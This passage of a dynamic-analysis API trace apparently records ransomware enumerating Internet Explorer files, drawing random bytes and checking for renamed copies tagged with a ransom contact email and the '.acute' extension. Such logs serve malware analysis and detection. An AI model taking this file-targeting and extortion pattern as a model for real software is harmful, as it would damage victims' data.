dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.382] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.382] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=28672) returned 1 [0274.382] CloseHandle (hObject=0x37c) returned 1 [0274.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui")) returned 0x20 [0274.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iedvtool.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iedvtool.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.466] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.467] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2048) returned 1 [0274.467] CloseHandle (hObject=0x37c) returned 1 [0274.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui")) returned 0x20 [0274.467] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ielowutil.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ielowutil.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.467] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.468] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5120) returned 1 [0274.468] CloseHandle (hObject=0x37c) returned 1 [0274.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0274.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.468] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.468] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=11776) returned 1 [0274.468] CloseHandle (hObject=0x37c) returned 1 [0274.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui")) returned 0x20 [0274.468] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.468] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.469] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2048) returned 1 [0274.469] CloseHandle (hObject=0x37c) returned 1 [0274.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui")) returned 0x20 [0274.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.469] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.469] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2048) returned 1 [0274.469] CloseHandle (hObject=0x37c) returned 1 [0274.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui")) returned 0x20 [0274.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\JSProfilerCore.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilercore.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.469] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.469] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.470] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7168) returned 1 [0274.470] CloseHandle (hObject=0x37c) returned 1 [0274.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui")) returned 0x20 [0274.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\jsprofilerui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsprofilerui.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.470] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.471] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=52736) returned 1 [0274.471] CloseHandle (hObject=0x37c) returned 1 [0274.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0274.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.471] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.472] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=2649) returned 1 [0274.472] CloseHandle (hObject=0x37c) returned 1 [0274.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc")) returned 0x20 [0274.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ie8props.propdesc" (normalized: "c:\\program files\\internet explorer\\ie8props.propdesc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.472] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.472] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=7680) returned 1 [0274.472] CloseHandle (hObject=0x37c) returned 1 [0274.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll")) returned 0x20 [0274.473] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\iecompat.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iecompat.dll" (normalized: "c:\\program files\\internet explorer\\iecompat.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.473] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.473] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=1013248) returned 1 [0274.473] CloseHandle (hObject=0x37c) returned 1 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll")) returned 0x20 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iedvtool.dll" (normalized: "c:\\program files\\internet explorer\\iedvtool.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.474] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.474] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=269824) returned 1 [0274.474] CloseHandle (hObject=0x37c) returned 1 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.474] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.474] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.474] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=115712) returned 1 [0274.474] CloseHandle (hObject=0x37c) returned 1 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0274.474] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.475] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.475] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=451072) returned 1 [0274.475] CloseHandle (hObject=0x37c) returned 1 [0274.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll")) returned 0x20 [0274.475] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.475] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.475] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.476] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=293376) returned 1 [0274.476] CloseHandle (hObject=0x37c) returned 1 [0274.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0274.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.476] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.476] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.476] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=695056) returned 1 [0274.476] CloseHandle (hObject=0x37c) returned 1 [0274.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0274.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.481] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.481] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=505344) returned 1 [0274.481] CloseHandle (hObject=0x37c) returned 1 [0274.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll")) returned 0x20 [0274.481] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdbgui.dll" (normalized: "c:\\program files\\internet explorer\\jsdbgui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.481] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.481] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=144896) returned 1 [0274.482] CloseHandle (hObject=0x37c) returned 1 [0274.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll")) returned 0x20 [0274.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\jsdebuggeride.dll" (normalized: "c:\\program files\\internet explorer\\jsdebuggeride.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.482] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files\\internet explorer\\jsprofilercore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.483] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=132096) returned 1 [0274.483] CloseHandle (hObject=0x37c) returned 1 [0274.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet 